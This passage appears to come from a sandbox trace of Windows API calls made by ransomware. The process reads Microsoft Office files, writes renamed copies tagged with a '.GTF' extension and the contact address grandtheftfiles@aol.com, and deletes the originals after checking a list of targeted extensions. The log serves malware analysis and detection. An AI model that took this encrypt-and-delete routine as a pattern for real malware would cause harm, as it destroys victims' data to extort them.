	[0165.041] GetLastError () returned 0x0
	[0165.041] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2135, lpOverlapped=0x0) returned 1
	[0165.044] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2140, lpOverlapped=0x0) returned 1
	[0165.045] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.045] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.045] SetEndOfFile (hFile=0x48c) returned 1
	[0165.045] CloseHandle (hObject=0x48c) returned 1
	[0165.045] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.045] SetEndOfFile (hFile=0x42c) returned 1
	[0165.048] CloseHandle (hObject=0x42c) returned 1
	[0165.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1
	[0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.049] lstrlenW (lpString=".doc") returned 4
	[0165.049] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.049] lstrlenW (lpString=".docx") returned 5
	[0165.049] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.049] lstrlenW (lpString=".pdf") returned 4
	[0165.049] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.049] lstrlenW (lpString=".xls") returned 4
	[0165.049] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.049] lstrlenW (lpString=".xlsx") returned 5
	[0165.049] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.049] lstrlenW (lpString=".ppt") returned 4
	[0165.049] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.049] lstrlenW (lpString=".zip") returned 4
	[0165.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.049] lstrlenW (lpString=".rar") returned 4
	[0165.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.049] lstrlenW (lpString=".bz2") returned 4
	[0165.049] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.049] lstrlenW (lpString=".7z") returned 3
	[0165.049] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.049] lstrlenW (lpString=".dbf") returned 4
	[0165.049] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.049] lstrlenW (lpString=".1cd") returned 4
	[0165.049] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.050] lstrlenW (lpString=".jpg") returned 4
	[0165.050] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.050] lstrlenW (lpString=".doc") returned 4
	[0165.050] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.050] lstrlenW (lpString=".docx") returned 5
	[0165.050] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.050] lstrlenW (lpString=".pdf") returned 4
	[0165.050] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.050] lstrlenW (lpString=".xls") returned 4
	[0165.050] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.050] lstrlenW (lpString=".xlsx") returned 5
	[0165.050] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.050] lstrlenW (lpString=".ppt") returned 4
	[0165.050] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.050] lstrlenW (lpString=".zip") returned 4
	[0165.050] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.050] lstrlenW (lpString=".rar") returned 4
	[0165.050] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.050] lstrlenW (lpString=".bz2") returned 4
	[0165.050] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.050] lstrlenW (lpString=".7z") returned 3
	[0165.051] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.051] lstrlenW (lpString=".dbf") returned 4
	[0165.051] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.051] lstrlenW (lpString=".1cd") returned 4
	[0165.051] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0165.051] lstrlenW (lpString=".jpg") returned 4
	[0165.051] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.051] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0165.051] lstrlenW (lpString="URBAN_01.MID") returned 12
	[0165.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.053] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=13358) returned 1
	[0165.053] CloseHandle (hObject=0x42c) returned 1
	[0165.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220
	[0165.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.054] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.054] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0165.054] GetLastError () returned 0x0
	[0165.054] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x342e, lpOverlapped=0x0) returned 1
	[0165.057] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3430, lpOverlapped=0x0) returned 1
	[0165.058] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.058] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.058] SetEndOfFile (hFile=0x48c) returned 1
	[0165.058] CloseHandle (hObject=0x48c) returned 1
	[0165.058] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.058] SetEndOfFile (hFile=0x42c) returned 1
	[0165.061] CloseHandle (hObject=0x42c) returned 1
	[0165.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1
	[0165.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.062] lstrlenW (lpString=".doc") returned 4
	[0165.062] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.062] lstrlenW (lpString=".docx") returned 5
	[0165.062] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.062] lstrlenW (lpString=".pdf") returned 4
	[0165.062] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.062] lstrlenW (lpString=".xls") returned 4
	[0165.062] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.062] lstrlenW (lpString=".xlsx") returned 5
	[0165.062] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.062] lstrlenW (lpString=".ppt") returned 4
	[0165.062] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.062] lstrlenW (lpString=".zip") returned 4
	[0165.062] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.063] lstrlenW (lpString=".rar") returned 4
	[0165.063] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.063] lstrlenW (lpString=".bz2") returned 4
	[0165.063] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.063] lstrlenW (lpString=".7z") returned 3
	[0165.063] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.063] lstrlenW (lpString=".dbf") returned 4
	[0165.063] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.063] lstrlenW (lpString=".1cd") returned 4
	[0165.063] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.063] lstrlenW (lpString=".jpg") returned 4
	[0165.063] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.063] lstrlenW (lpString=".doc") returned 4
	[0165.063] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.063] lstrlenW (lpString=".docx") returned 5
	[0165.063] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.063] lstrlenW (lpString=".pdf") returned 4
	[0165.063] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.063] lstrlenW (lpString=".xls") returned 4
	[0165.063] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.063] lstrlenW (lpString=".xlsx") returned 5
	[0165.063] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.063] lstrlenW (lpString=".ppt") returned 4
	[0165.063] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.063] lstrlenW (lpString=".zip") returned 4
	[0165.063] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.063] lstrlenW (lpString=".rar") returned 4
	[0165.063] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.064] lstrlenW (lpString=".bz2") returned 4
	[0165.064] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.064] lstrlenW (lpString=".7z") returned 3
	[0165.064] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.064] lstrlenW (lpString=".dbf") returned 4
	[0165.064] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.064] lstrlenW (lpString=".1cd") returned 4
	[0165.064] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68
	[0165.064] lstrlenW (lpString=".jpg") returned 4
	[0165.064] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.064] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0165.064] lstrlenW (lpString="VCTRN_01.MID") returned 12
	[0165.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0165.193] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4961) returned 1
	[0165.193] CloseHandle (hObject=0x548) returned 1
	[0165.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220
	[0165.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0165.215] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.215] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0165.216] GetLastError () returned 0x0
	[0165.216] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1361, lpOverlapped=0x0) returned 1
	[0165.218] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0165.219] ReadFile (in: hFile=0x548, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.219] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.219] SetEndOfFile (hFile=0x560) returned 1
	[0165.219] CloseHandle (hObject=0x560) returned 1
	[0165.219] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.219] SetEndOfFile (hFile=0x548) returned 1
	[0165.222] CloseHandle (hObject=0x548) returned 1
	[0165.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1
	[0165.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.223] lstrlenW (lpString=".doc") returned 4
	[0165.223] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.223] lstrlenW (lpString=".docx") returned 5
	[0165.223] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.223] lstrlenW (lpString=".pdf") returned 4
	[0165.223] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.223] lstrlenW (lpString=".xls") returned 4
	[0165.223] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.223] lstrlenW (lpString=".xlsx") returned 5
	[0165.224] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.224] lstrlenW (lpString=".ppt") returned 4
	[0165.224] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.224] lstrlenW (lpString=".zip") returned 4
	[0165.224] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.224] lstrlenW (lpString=".rar") returned 4
	[0165.224] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.224] lstrlenW (lpString=".bz2") returned 4
	[0165.224] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.224] lstrlenW (lpString=".7z") returned 3
	[0165.224] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.224] lstrlenW (lpString=".dbf") returned 4
	[0165.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.224] lstrlenW (lpString=".1cd") returned 4
	[0165.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.224] lstrlenW (lpString=".jpg") returned 4
	[0165.224] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.224] lstrlenW (lpString=".doc") returned 4
	[0165.224] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.224] lstrlenW (lpString=".docx") returned 5
	[0165.224] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.224] lstrlenW (lpString=".pdf") returned 4
	[0165.224] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.224] lstrlenW (lpString=".xls") returned 4
	[0165.224] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.224] lstrlenW (lpString=".xlsx") returned 5
	[0165.224] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.225] lstrlenW (lpString=".ppt") returned 4
	[0165.225] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.225] lstrlenW (lpString=".zip") returned 4
	[0165.225] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.225] lstrlenW (lpString=".rar") returned 4
	[0165.225] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.225] lstrlenW (lpString=".bz2") returned 4
	[0165.225] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.225] lstrlenW (lpString=".7z") returned 3
	[0165.225] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.225] lstrlenW (lpString=".dbf") returned 4
	[0165.225] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.225] lstrlenW (lpString=".1cd") returned 4
	[0165.225] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0165.225] lstrlenW (lpString=".jpg") returned 4
	[0165.225] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.225] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0165.225] lstrlenW (lpString="Frosted Glass.eftx") returned 18
	[0165.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0165.226] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=334131) returned 1
	[0165.226] CloseHandle (hObject=0x548) returned 1
	[0165.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220
	[0165.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0165.226] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.227] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
